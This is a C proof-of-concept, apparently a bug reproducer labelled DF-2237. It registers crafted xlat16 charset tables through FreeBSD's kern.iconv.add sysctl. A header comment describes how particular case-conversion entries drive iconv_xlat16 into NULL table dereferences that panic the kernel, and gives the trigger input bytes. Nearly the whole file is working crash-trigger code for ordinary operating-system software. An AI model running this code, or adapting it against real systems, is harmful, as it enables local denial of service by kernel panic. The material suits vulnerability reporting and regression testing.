/*
 * DF-2237 table armer -- registers crafted xlat16 charset pairs through the
 * REAL kern.iconv.add sysctl path (identical wire format to
 * lib/libkiconv/xlat16_sysctl.c:kiconv_add_xlat16_table).
 *
 * Serialized blob format consumed by iconv_xlat16_open()
 * (sys/libiconv/iconv_xlat16.c:59-78):
 *   offset 0    : caddr_t idx[0x200]  -- NULL means "high-byte block absent"
 *   offset 0x1000: for each non-NULL idx entry, in ASCENDING index order,
 *                  one block of 0x80 uint32_t entries
 *
 * Table 1 (pair "UTF-16BE" <- "DF2237CS"), block 0 only, f_ctp == NULL
 * (no _wctype pair registered for DF2237CS):
 *   'A' (0x41): XLAT16_HAS_FROM_LOWER_CASE, from-lower target 0xC2
 *               -> single-byte path (iconv_xlat16.c:186-189) computes
 *                  c1 = C2I1(0xC2<<8) = 0x100, c2 = 0x42
 *               -> line 192 derefs d_table[0x100] == NULL  => panic
 *   'C' (0x43): from-lower target 'c' (0x63) -> stays in block 0 (control)
 *   'B' (0x42), 'c' (0x63): plain conversions (controls)
 *
 * Table 2 (pair "UTF-16BE" <- "DF2237W2"), block 0x1CD only:
 *   entry[0x2B] = 0x1234  ("\xab\xcd" converts cleanly w/o case conv)
 * Table 3 (pair "_wctype" <- "DF2237W2"), block 0x1CD only:
 *   entry[0x2B] = 0x8356 | XLAT16_HAS_LOWER_CASE
 *   -> towlower(0xABCD) returns 0x8356 (iconv_xlat16_tolower:299-322)
 *   -> double-byte path (iconv_xlat16.c:155-158) computes
 *      c1 = C2I1(0x8356) = 0x156, c2 = 0x03
 *   -> line 192 derefs d_table[0x156] == NULL in the MAIN table => panic
 */
#include <sys/types.h>
#include <sys/iconv.h>
#include <sys/sysctl.h>

#include <errno.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define IDX_BYTES (0x200 * sizeof(uint32_t *))	/* 0x1000 */
#define BLK_BYTES (0x80 * sizeof(uint32_t))	/* 0x200  */

struct tbl {
	uint8_t		buf[IDX_BYTES + 0x200 * BLK_BYTES];
	size_t		len;
	int		last;	/* last block index added (ordering guard) */
};

static void
tbl_reset(struct tbl *t)
{
	memset(t, 0, sizeof(*t));
	t->len = IDX_BYTES;
	t->last = -1;
}

/* declare block `idx` present; blocks MUST be added in ascending order */
static uint32_t *
tbl_add_block(struct tbl *t, int idx)
{
	uint32_t **ip = (uint32_t **)t->buf;

	if (idx <= t->last) {
		fprintf(stderr, "tbl_add_block: idx 0x%x out of order "
		    "(last 0x%x)\n", idx, t->last);
		exit(2);
	}
	t->last = idx;
	ip[idx] = (uint32_t *)1;	/* non-NULL marker; kernel ignores value */
	t->len += BLK_BYTES;
	return ((uint32_t *)(t->buf + t->len - BLK_BYTES));
}

static void
add_pair(const char *to, const char *from, const void *data, size_t datalen)
{
	struct iconv_add_in din;
	struct iconv_add_out dout;
	size_t olen = sizeof(dout);

	memset(&din, 0, sizeof(din));
	din.ia_version = ICONV_ADD_VER;
	strcpy(din.ia_converter, "xlat16");
	strcpy(din.ia_to, to);
	strcpy(din.ia_from, from);
	din.ia_data = data;
	din.ia_datalen = (int)datalen;

	if (sysctlbyname("kern.iconv.add", &dout, &olen, &din, sizeof(din)) == -1) {
		if (errno == EEXIST) {	/* already armed (same boot) */
			printf("already registered %-10s <- %-10s\n", to, from);
			return;
		}
		err(1, "sysctl kern.iconv.add %s <- %s", to, from);
	}
	printf("registered %-10s <- %-10s csid=%d datalen=%zu\n",
	    to, from, dout.ia_csid, datalen);
}

int
main(void)
{
	struct tbl t1, t2, t3;
	uint32_t *b;

	/* ---- table 1: single-byte XLAT16_HAS_FROM_LOWER_CASE trigger ---- */
	tbl_reset(&t1);
	b = tbl_add_block(&t1, 0x000);
	b[0x41] = 0x0041 | XLAT16_HAS_FROM_LOWER_CASE | ((uint32_t)0xC2 << 16);
	b[0x42] = 0x0042;
	b[0x43] = 0x0043 | XLAT16_HAS_FROM_LOWER_CASE | ((uint32_t)0x63 << 16);
	b[0x63] = 0x0063;
	add_pair("UTF-16BE", "DF2237CS", t1.buf, t1.len);

	/* ---- table 2: main table for the double-byte trigger ---- */
	tbl_reset(&t2);
	b = tbl_add_block(&t2, 0x1CD);
	b[0x2B] = 0x1234;		/* "\xab\xcd" -> U+1234 */
	add_pair("UTF-16BE", "DF2237W2", t2.buf, t2.len);

	/* ---- table 3: _wctype table driving towlower for table 2 ---- */
	tbl_reset(&t3);
	b = tbl_add_block(&t3, 0x1CD);
	b[0x2B] = 0x8356 | XLAT16_HAS_LOWER_CASE;	/* towlower(0xABCD) */
	add_pair("_wctype", "DF2237W2", t3.buf, t3.len);

	printf("all pairs registered\n");
	return (0);
}
